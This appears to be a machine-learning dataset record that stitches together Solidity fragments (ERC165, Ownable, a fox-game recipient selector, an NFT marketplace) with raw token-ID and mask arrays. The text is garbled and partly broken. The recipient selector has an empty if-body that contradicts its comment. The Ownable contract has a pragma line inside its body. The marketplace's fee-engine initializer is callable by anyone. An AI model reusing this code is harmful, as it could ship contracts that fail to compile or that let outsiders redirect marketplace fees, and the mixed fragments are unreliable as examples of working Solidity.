expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* the first 20% (ETH purchases) go to the minter the remaining 80% have a 10% chance to be given to a random staked fox @param seed a random value to select a recipient from @param elevatedRisk true if the user is at higher risk of losing their mint @return the address of the recipient (either the minter or the fox thief's owner)/
function _selectRecipient(uint256 seed, bool elevatedRisk) internal view returns (address) { if (((seed >> 245) % (elevatedRisk ? 4 : 10)) != 0) { } address thief = foxGame.randomFoxOwner(seed >> 144); if (thief == address(0x0)) { return msg.sender; } return thief; }
14,591,681
[ 1, 5787, 1122, 4200, 9, 261, 1584, 44, 5405, 343, 3304, 13, 1960, 358, 326, 1131, 387, 326, 4463, 8958, 9, 1240, 279, 1728, 9, 17920, 358, 506, 864, 358, 279, 2744, 384, 9477, 284, 2409, 225, 5009, 279, 2744, 460, 358, 2027, 279, 8027, 628, 225, 30047, 690, 54, 10175, 638, 309, 326, 729, 353, 622, 10478, 18404, 434, 437, 2470, 3675, 312, 474, 327, 326, 1758, 434, 326, 8027, 261, 73, 2927, 326, 1131, 387, 578, 326, 284, 2409, 286, 28515, 1807, 3410, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 4025, 18241, 12, 11890, 5034, 5009, 16, 1426, 30047, 690, 54, 10175, 13, 2713, 1476, 1135, 261, 2867, 13, 288, 203, 565, 309, 261, 12443, 12407, 1671, 4248, 25, 13, 738, 261, 6516, 90, 690, 54, 10175, 692, 1059, 294, 1728, 3719, 480, 374, 13, 288, 203, 565, 289, 203, 565, 1758, 286, 28515, 273, 284, 2409, 12496, 18, 9188, 42, 2409, 5541, 12, 12407, 1671, 30457, 1769, 203, 565, 309, 261, 451, 28515, 422, 1758, 12, 20, 92, 20, 3719, 288, 203, 1377, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 565, 327, 286, 28515, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xCf84F4956461366ec11f3f640BbDBb29E9840B5C/sources/project_/contracts/utils/Ownable.sol
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); pragma solidity ^0.8.4; constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
7,060,938
[ 1, 8924, 1605, 1492, 8121, 279, 5337, 2006, 3325, 12860, 16, 1625, 1915, 353, 392, 2236, 261, 304, 3410, 13, 716, 848, 506, 17578, 12060, 2006, 358, 2923, 4186, 18, 2525, 805, 16, 326, 3410, 2236, 903, 506, 326, 1245, 716, 5993, 383, 1900, 326, 6835, 18, 1220, 848, 5137, 506, 3550, 598, 288, 13866, 5460, 12565, 5496, 1220, 1605, 353, 1399, 3059, 16334, 18, 2597, 903, 1221, 2319, 326, 9606, 1375, 3700, 5541, 9191, 1492, 848, 506, 6754, 358, 3433, 4186, 358, 13108, 3675, 999, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 14223, 6914, 353, 1772, 288, 203, 565, 1758, 3238, 389, 8443, 31, 203, 203, 565, 871, 14223, 9646, 5310, 1429, 4193, 12, 203, 3639, 1758, 8808, 2416, 5541, 16, 203, 3639, 1758, 8808, 394, 5541, 203, 565, 11272, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 3885, 1435, 288, 203, 3639, 389, 13866, 5460, 12565, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 203, 565, 445, 3410, 1435, 1071, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 8443, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 8443, 1435, 422, 389, 3576, 12021, 9334, 315, 5460, 429, 30, 4894, 353, 486, 326, 3410, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 1654, 8386, 5460, 12565, 1435, 1071, 5024, 1338, 5541, 288, 203, 3639, 389, 13866, 5460, 12565, 12, 2867, 12, 20, 10019, 203, 565, 289, 203, 203, 565, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 5024, 1338, 5541, 288, 203, 3639, 2583, 12, 203, 5411, 394, 5541, 480, 1758, 12, 20, 3631, 203, 5411, 315, 5460, 429, 30, 394, 3410, 353, 326, 3634, 1758, 6, 203, 3639, 11272, 203, 3639, 389, 13866, 5460, 12565, 12, 2704, 5541, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 13866, 5460, 12565, 12, 2867, 394, 5541, 13, 2713, 5024, 288, 203, 3639, 1758, 1592, 5541, 273, 389, 8443, 31, 203, 3639, 389, 8443, 273, 394, 5541, 31, 203, 3639, 3626, 14223, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/introspection/IERC165.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; interface IAddressRegistry { function xyz() external view returns (address); function bundleMarketplace() external view returns (address); function factory() external view returns (address); function privateFactory() external view returns (address); function artFactory() external view returns (address); function privateArtFactory() external view returns (address); function tokenRegistry() external view returns (address); function priceFeed() external view returns (address); } interface IBundleMarketplace { function validateItemSold( address, uint256, uint256 ) external; } interface INFTFactory { function exists(address) external view returns (bool); } interface ITokenRegistry { function enabled(address) external view returns (bool); } interface IPriceFeed { function wFTM() external view returns (address); function getPrice(address) external view returns (int256, uint8); } interface IMarketplaceFeeEngine { function getMarketplaceFee( bytes32, address, uint256 ) external view returns (address payable[] memory, uint256[] memory); } contract Marketplace is OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeMath for uint256; using AddressUpgradeable for address payable; using SafeERC20 for IERC20; /// @notice Events for the contract event ItemListed( address indexed owner, address indexed nft, uint256 tokenId, uint256 quantity, address payToken, uint256 pricePerItem, uint256 startingTime, uint256 deadline ); event ItemSold( address indexed seller, address indexed buyer, address indexed nft, uint256 tokenId, uint256 quantity, address payToken, int256 unitPrice, uint256 pricePerItem, bytes32 sourceId ); event ItemUpdated( address indexed owner, address indexed nft, uint256 tokenId, address payToken, uint256 newPrice, uint256 newDeadline ); event ItemCanceled( address indexed owner, address indexed nft, uint256 tokenId ); event OfferCreated( address indexed creator, address indexed nft, uint256 tokenId, uint256 quantity, address payToken, uint256 pricePerItem, uint256 deadline ); event OfferCanceled( address indexed creator, address indexed nft, uint256 tokenId ); /// @notice Structure for listed items struct Listing { uint256 quantity; address payToken; uint256 pricePerItem; uint256 startingTime; uint256 deadline; bytes32 source; } /// @notice Structure for offer struct Offer { IERC20 payToken; uint256 quantity; uint256 pricePerItem; uint256 deadline; } struct CollectionRoyalty { uint16 royalty; address creator; address feeRecipient; } bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant INTERFACE_ID_ERC1155 = 0xd9b67a26; /// @notice NftAddress -> Token ID -> Minter mapping(address => mapping(uint256 => address)) public minters; /// @notice NftAddress -> Token ID -> Royalty mapping(address => mapping(uint256 => uint16)) public royalties; /// @notice NftAddress -> Token ID -> Owner -> Listing item mapping(address => mapping(uint256 => mapping(address => Listing))) public listings; /// @notice NftAddress -> Token ID -> Offerer -> Offer mapping(address => mapping(uint256 => mapping(address => Offer))) public offers; /// @notice Platform fee uint16 public platformFee; /// @notice Platform fee receipient address payable public feeReceipient; /// @notice NftAddress -> Royalty mapping(address => CollectionRoyalty) public collectionRoyalties; /// @notice Address registry IAddressRegistry public addressRegistry; IMarketplaceFeeEngine public marketplaceFeeEngine; modifier onlyMarketplace() { require( address(addressRegistry.bundleMarketplace()) == _msgSender(), "sender must be bundle marketplace" ); _; } modifier isListed( address _nftAddress, uint256 _tokenId, address _owner ) { Listing memory listing = listings[_nftAddress][_tokenId][_owner]; require(listing.quantity > 0 && (listing.deadline == 0 || listing.deadline > _getNow()), "not listed item"); _; } modifier notListed( address _nftAddress, uint256 _tokenId, address _owner ) { Listing memory listing = listings[_nftAddress][_tokenId][_owner]; require(listing.quantity == 0 || (listing.deadline != 0 && listing.deadline <= _getNow()), "already listed"); _; } modifier validListing( address _nftAddress, uint256 _tokenId, address _owner ) { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; _validOwner(_nftAddress, _tokenId, _owner, listedItem.quantity); require(_getNow() >= listedItem.startingTime, "item not buyable"); _; } modifier offerExists( address _nftAddress, uint256 _tokenId, address _creator ) { Offer memory offer = offers[_nftAddress][_tokenId][_creator]; require( offer.quantity > 0 && offer.deadline > _getNow(), "offer not exists or expired" ); _; } modifier offerNotExists( address _nftAddress, uint256 _tokenId, address _creator ) { Offer memory offer = offers[_nftAddress][_tokenId][_creator]; require( offer.quantity == 0 || offer.deadline <= _getNow(), "offer already created" ); _; } /// @notice Contract initializer function initialize(address payable _feeRecipient, uint16 _platformFee) external initializer { platformFee = _platformFee; feeReceipient = _feeRecipient; __Ownable_init(); __ReentrancyGuard_init(); } /// @notice Method for listing NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _quantity token amount to list (needed for ERC-1155 NFTs, set as 1 for ERC-721) /// @param _payToken Paying token /// @param _pricePerItem sale price for each iteam /// @param _startingTime scheduling for a future sale /// @param _deadline Listing deadline /// @param _source Marketplace source function listItem( address _nftAddress, uint256 _tokenId, uint256 _quantity, address _payToken, uint256 _pricePerItem, uint256 _startingTime, uint256 _deadline, string calldata _source ) external notListed(_nftAddress, _tokenId, _msgSender()) { _listItem( _nftAddress, _tokenId, _quantity, _payToken, _pricePerItem, _startingTime, _deadline, _source ); } /// @notice Method for listing NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _quantity token amount to list (needed for ERC-1155 NFTs, set as 1 for ERC-721) /// @param _payToken Paying token /// @param _pricePerItem sale price for each iteam /// @param _startingTime scheduling for a future sale /// @param _deadline Listing deadline function listItem( address _nftAddress, uint256 _tokenId, uint256 _quantity, address _payToken, uint256 _pricePerItem, uint256 _startingTime, uint256 _deadline ) external notListed(_nftAddress, _tokenId, _msgSender()) { _listItem(_nftAddress, _tokenId, _quantity, _payToken, _pricePerItem, _startingTime, _deadline, ""); } /// @notice Method for listing NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _quantity token amount to list (needed for ERC-1155 NFTs, set as 1 for ERC-721) /// @param _payToken Paying token /// @param _pricePerItem sale price for each iteam /// @param _startingTime scheduling for a future sale function listItem( address _nftAddress, uint256 _tokenId, uint256 _quantity, address _payToken, uint256 _pricePerItem, uint256 _startingTime ) external notListed(_nftAddress, _tokenId, _msgSender()) { _listItem(_nftAddress, _tokenId, _quantity, _payToken, _pricePerItem, _startingTime, 0, ""); } function _listItem( address _nftAddress, uint256 _tokenId, uint256 _quantity, address _payToken, uint256 _pricePerItem, uint256 _startingTime, uint256 _deadline, string memory _source ) private { if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) { IERC721 nft = IERC721(_nftAddress); require(nft.ownerOf(_tokenId) == _msgSender(), "not owning item"); require( nft.isApprovedForAll(_msgSender(), address(this)), "item not approved" ); } else if ( IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155) ) { IERC1155 nft = IERC1155(_nftAddress); require( nft.balanceOf(_msgSender(), _tokenId) >= _quantity, "must hold enough nfts" ); require( nft.isApprovedForAll(_msgSender(), address(this)), "item not approved" ); } else { revert("invalid nft address"); } _validPayToken(_payToken); bytes32 sourceId = keccak256(abi.encodePacked(_source)); listings[_nftAddress][_tokenId][_msgSender()] = Listing( _quantity, _payToken, _pricePerItem, _startingTime, _deadline, sourceId ); emit ItemListed( _msgSender(), _nftAddress, _tokenId, _quantity, _payToken, _pricePerItem, _startingTime, _deadline ); } /// @notice Method for canceling listed NFT function cancelListing(address _nftAddress, uint256 _tokenId) external nonReentrant isListed(_nftAddress, _tokenId, _msgSender()) { _cancelListing(_nftAddress, _tokenId, _msgSender()); } /// @notice Method for updating listed NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _payToken payment token /// @param _newPrice New sale price for each iteam /// @param _newDeadline New deadline for item function updateListing( address _nftAddress, uint256 _tokenId, address _payToken, uint256 _newPrice, uint256 _newDeadline ) external nonReentrant isListed(_nftAddress, _tokenId, _msgSender()) { _updateListing(_nftAddress, _tokenId, _payToken, _newPrice, _newDeadline); } /// @notice Method for updating listed NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _payToken payment token /// @param _newPrice New sale price for each iteam function updateListing( address _nftAddress, uint256 _tokenId, address _payToken, uint256 _newPrice ) external nonReentrant isListed(_nftAddress, _tokenId, _msgSender()) { _updateListing(_nftAddress, _tokenId, _payToken, _newPrice, 0); } function _updateListing( address _nftAddress, uint256 _tokenId, address _payToken, uint256 _newPrice, uint256 _newDeadline ) private { Listing storage listedItem = listings[_nftAddress][_tokenId][ _msgSender() ]; _validOwner(_nftAddress, _tokenId, _msgSender(), listedItem.quantity); _validPayToken(_payToken); listedItem.payToken = _payToken; listedItem.pricePerItem = _newPrice; listedItem.deadline = _newDeadline; emit ItemUpdated( _msgSender(), _nftAddress, _tokenId, _payToken, _newPrice, _newDeadline ); } /// @notice Method for buying listed NFT /// @param _nftAddress NFT contract address /// @param _tokenId TokenId function buyItem( address _nftAddress, uint256 _tokenId, address payable _owner ) external payable nonReentrant isListed(_nftAddress, _tokenId, _owner) validListing(_nftAddress, _tokenId, _owner) { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; require(listedItem.payToken == address(0), "invalid pay token"); require( msg.value >= listedItem.pricePerItem.mul(listedItem.quantity), "insufficient balance to buy" ); _buyItem(_nftAddress, _tokenId, address(0), _owner); } /// @notice Method for buying listed NFT /// @param _nftAddress NFT contract address /// @param _tokenId TokenId function buyItem( address _nftAddress, uint256 _tokenId, address _payToken, address _owner ) external nonReentrant isListed(_nftAddress, _tokenId, _owner) validListing(_nftAddress, _tokenId, _owner) { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; require(listedItem.payToken == _payToken, "invalid pay token"); _buyItem(_nftAddress, _tokenId, _payToken, _owner); } function _buyItem( address _nftAddress, uint256 _tokenId, address _payToken, address _owner ) private { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; uint256 price = listedItem.pricePerItem.mul(listedItem.quantity); uint256 feeAmount = _distributeMarketplaceFee( listedItem.source, _nftAddress, price, _payToken ); address minter = minters[_nftAddress][_tokenId]; uint16 royalty = royalties[_nftAddress][_tokenId]; if (minter != address(0) && royalty != 0) { uint256 royaltyFee = price.mul(royalty).div(10000); if (_payToken == address(0)) { (bool royaltyTransferSuccess, ) = payable(minter).call{ value: royaltyFee }(""); require(royaltyTransferSuccess, "royalty fee transfer failed"); } else { IERC20(_payToken).safeTransferFrom( _msgSender(), minter, royaltyFee ); } feeAmount = feeAmount.add(royaltyFee); } else { minter = collectionRoyalties[_nftAddress].feeRecipient; royalty = collectionRoyalties[_nftAddress].royalty; if (minter != address(0) && royalty != 0) { uint256 royaltyFee = price.mul(royalty).div( 10000 ); if (_payToken == address(0)) { (bool royaltyTransferSuccess, ) = payable(minter).call{ value: royaltyFee }(""); require( royaltyTransferSuccess, "royalty fee transfer failed" ); } else { IERC20(_payToken).safeTransferFrom( _msgSender(), minter, royaltyFee ); } feeAmount = feeAmount.add(royaltyFee); } } if (_payToken == address(0)) { (bool ownerTransferSuccess, ) = _owner.call{ value: price.sub(feeAmount) }(""); require(ownerTransferSuccess, "owner transfer failed"); } else { IERC20(_payToken).safeTransferFrom( _msgSender(), _owner, price.sub(feeAmount) ); } // Transfer NFT to buyer if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) { IERC721(_nftAddress).safeTransferFrom( _owner, _msgSender(), _tokenId ); } else { IERC1155(_nftAddress).safeTransferFrom( _owner, _msgSender(), _tokenId, listedItem.quantity, bytes("") ); } IBundleMarketplace(addressRegistry.bundleMarketplace()) .validateItemSold(_nftAddress, _tokenId, listedItem.quantity); emit ItemSold( _owner, _msgSender(), _nftAddress, _tokenId, listedItem.quantity, _payToken, getPrice(_payToken), price.div(listedItem.quantity), listedItem.source ); delete (listings[_nftAddress][_tokenId][_owner]); } /// @notice Method for offering item /// @param _nftAddress NFT contract address /// @param _tokenId TokenId /// @param _payToken Paying token /// @param _quantity Quantity of items /// @param _pricePerItem Price per item /// @param _deadline Offer expiration function createOffer( address _nftAddress, uint256 _tokenId, IERC20 _payToken, uint256 _quantity, uint256 _pricePerItem, uint256 _deadline ) external offerNotExists(_nftAddress, _tokenId, _msgSender()) { require( IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721) || IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155), "invalid nft address" ); require(_deadline > _getNow(), "invalid expiration"); _validPayToken(address(_payToken)); offers[_nftAddress][_tokenId][_msgSender()] = Offer( _payToken, _quantity, _pricePerItem, _deadline ); emit OfferCreated( _msgSender(), _nftAddress, _tokenId, _quantity, address(_payToken), _pricePerItem, _deadline ); } /// @notice Method for canceling the offer /// @param _nftAddress NFT contract address /// @param _tokenId TokenId function cancelOffer(address _nftAddress, uint256 _tokenId) external offerExists(_nftAddress, _tokenId, _msgSender()) { delete (offers[_nftAddress][_tokenId][_msgSender()]); emit OfferCanceled(_msgSender(), _nftAddress, _tokenId); } /// @notice Method for accepting the offer /// @param _nftAddress NFT contract address /// @param _tokenId TokenId /// @param _creator Offer creator address /// @param _source Marketplace source function acceptOffer( address _nftAddress, uint256 _tokenId, address _creator, string memory _source ) external nonReentrant offerExists(_nftAddress, _tokenId, _creator) { _acceptOffer(_nftAddress, _tokenId, _creator, _source); } /// @notice Method for accepting the offer /// @param _nftAddress NFT contract address /// @param _tokenId TokenId /// @param _creator Offer creator address function acceptOffer( address _nftAddress, uint256 _tokenId, address _creator ) external nonReentrant offerExists(_nftAddress, _tokenId, _creator) { _acceptOffer(_nftAddress, _tokenId, _creator, ""); } function _acceptOffer( address _nftAddress, uint256 _tokenId, address _creator, string memory _source ) private { Offer memory offer = offers[_nftAddress][_tokenId][_creator]; _validOwner(_nftAddress, _tokenId, _msgSender(), offer.quantity); uint256 price = offer.pricePerItem.mul(offer.quantity); uint256 feeAmount = _distributeMarketplaceFeeByName( _source, _nftAddress, price, address(offer.payToken) ); uint256 royaltyFee; address minter = minters[_nftAddress][_tokenId]; uint16 royalty = royalties[_nftAddress][_tokenId]; if (minter != address(0) && royalty != 0) { royaltyFee = price.mul(royalty).div(10000); offer.payToken.safeTransferFrom(_creator, minter, royaltyFee); feeAmount = feeAmount.add(royaltyFee); } else { minter = collectionRoyalties[_nftAddress].feeRecipient; royalty = collectionRoyalties[_nftAddress].royalty; if (minter != address(0) && royalty != 0) { royaltyFee = price.mul(royalty).div(10000); offer.payToken.safeTransferFrom(_creator, minter, royaltyFee); feeAmount = feeAmount.add(royaltyFee); } } offer.payToken.safeTransferFrom( _creator, _msgSender(), price.sub(feeAmount) ); // Transfer NFT to buyer if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) { IERC721(_nftAddress).safeTransferFrom( _msgSender(), _creator, _tokenId ); } else { IERC1155(_nftAddress).safeTransferFrom( _msgSender(), _creator, _tokenId, offer.quantity, bytes("") ); } IBundleMarketplace(addressRegistry.bundleMarketplace()) .validateItemSold(_nftAddress, _tokenId, offer.quantity); delete (listings[_nftAddress][_tokenId][_msgSender()]); delete (offers[_nftAddress][_tokenId][_creator]); emit ItemSold( _msgSender(), _creator, _nftAddress, _tokenId, offer.quantity, address(offer.payToken), getPrice(address(offer.payToken)), offer.pricePerItem, keccak256(abi.encodePacked(_source)) ); emit OfferCanceled(_creator, _nftAddress, _tokenId); } /// @notice Method for setting royalty /// @param _nftAddress NFT contract address /// @param _tokenId TokenId /// @param _royalty Royalty function registerRoyalty( address _nftAddress, uint256 _tokenId, uint16 _royalty ) external { require(_royalty <= 10000, "invalid royalty"); require(_isNFT(_nftAddress), "invalid nft address"); _validOwner(_nftAddress, _tokenId, _msgSender(), 1); require( minters[_nftAddress][_tokenId] == address(0), "royalty already set" ); minters[_nftAddress][_tokenId] = _msgSender(); royalties[_nftAddress][_tokenId] = _royalty; } /// @notice Method for setting royalty /// @param _nftAddress NFT contract address /// @param _royalty Royalty function registerCollectionRoyalty( address _nftAddress, address _creator, uint16 _royalty, address _feeRecipient ) external onlyOwner { require(_creator != address(0), "invalid creator address"); require(_royalty <= 10000, "invalid royalty"); require( _royalty == 0 || _feeRecipient != address(0), "invalid fee recipient address" ); require(!_isNFT(_nftAddress), "invalid nft address"); require( collectionRoyalties[_nftAddress].creator == address(0), "royalty already set" ); collectionRoyalties[_nftAddress] = CollectionRoyalty( _royalty, _creator, _feeRecipient ); } function initializeMarketplaceFeeEngine(address _marketplaceFeeEngine) external { require(address(marketplaceFeeEngine) == address(0x0), "non zero"); marketplaceFeeEngine = IMarketplaceFeeEngine(_marketplaceFeeEngine); } function setMarketplaceFeeEngine(address _marketplaceFeeEngine) external onlyOwner { marketplaceFeeEngine = IMarketplaceFeeEngine(_marketplaceFeeEngine); } function _isNFT(address _nftAddress) internal view returns (bool) { return addressRegistry.xyz() == _nftAddress || INFTFactory(addressRegistry.factory()).exists(_nftAddress) || INFTFactory(addressRegistry.privateFactory()).exists( _nftAddress ) || INFTFactory(addressRegistry.artFactory()).exists( _nftAddress ) || INFTFactory(addressRegistry.privateArtFactory()).exists( _nftAddress ); } /** @notice Method for getting price for pay token @param _payToken Paying token */ function getPrice(address _payToken) public view returns (int256) { int256 unitPrice; uint8 decimals; if (_payToken == address(0)) { IPriceFeed priceFeed = IPriceFeed( addressRegistry.priceFeed() ); (unitPrice, decimals) = priceFeed.getPrice(priceFeed.wFTM()); } else { (unitPrice, decimals) = IPriceFeed( addressRegistry.priceFeed() ).getPrice(_payToken); } if (decimals < 18) { unitPrice = unitPrice * (int256(10)**(18 - decimals)); } else { unitPrice = unitPrice / (int256(10)**(decimals - 18)); } return unitPrice; } /** @notice Update AddressRegistry contract @dev Only admin */ function updateAddressRegistry(address _registry) external onlyOwner { addressRegistry = IAddressRegistry(_registry); } /** * @notice Validate and cancel listing * @dev Only bundle marketplace can access */ function validateItemSold( address _nftAddress, uint256 _tokenId, address _seller, address _buyer ) external onlyMarketplace { Listing memory item = listings[_nftAddress][_tokenId][_seller]; if (item.quantity > 0) { _cancelListing(_nftAddress, _tokenId, _seller); } delete (offers[_nftAddress][_tokenId][_buyer]); emit OfferCanceled(_buyer, _nftAddress, _tokenId); } //////////////////////////// /// Internal and Private /// //////////////////////////// function _getNow() internal view virtual returns (uint256) { return block.timestamp; } function _validPayToken(address _payToken) internal { require( _payToken == address(0) || (addressRegistry.tokenRegistry() != address(0) && ITokenRegistry(addressRegistry.tokenRegistry()) .enabled(_payToken)), "invalid pay token" ); } function _validOwner( address _nftAddress, uint256 _tokenId, address _owner, uint256 quantity ) internal { if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) { IERC721 nft = IERC721(_nftAddress); require(nft.ownerOf(_tokenId) == _owner, "not owning item"); } else if ( IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155) ) { IERC1155 nft = IERC1155(_nftAddress); require( nft.balanceOf(_owner, _tokenId) >= quantity, "not owning item" ); } else { revert("invalid nft address"); } } function _cancelListing( address _nftAddress, uint256 _tokenId, address _owner ) private { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; _validOwner(_nftAddress, _tokenId, _owner, listedItem.quantity); delete (listings[_nftAddress][_tokenId][_owner]); emit ItemCanceled(_owner, _nftAddress, _tokenId); } function _distributeMarketplaceFeeByName( string memory _source, address _collection, uint256 _value, address _payToken ) private returns (uint256) { bytes32 id = keccak256(abi.encodePacked(_source)); return _distributeMarketplaceFee(id, _collection, _value, _payToken); } function _distributeMarketplaceFee( bytes32 _source, address _collection, uint256 _value, address _payToken ) private returns (uint256) { ( address payable[] memory recipients, uint256[] memory fees ) = marketplaceFeeEngine.getMarketplaceFee( _source, _collection, _value ); uint256 feeAmount = 0; for (uint256 i = 0; i < recipients.length; i++) { if (fees[i] == 0) { continue; } if (_payToken == address(0)) { (bool feeTransferSuccess, ) = recipients[i].call{ value: fees[i] }(""); require(feeTransferSuccess, "fee transfer failed"); } else { IERC20(_payToken).safeTransferFrom( _msgSender(), recipients[i], fees[i] ); } feeAmount = feeAmount.add(fees[i]); } return feeAmount; } } // SPDX-License-Identifier: MIT 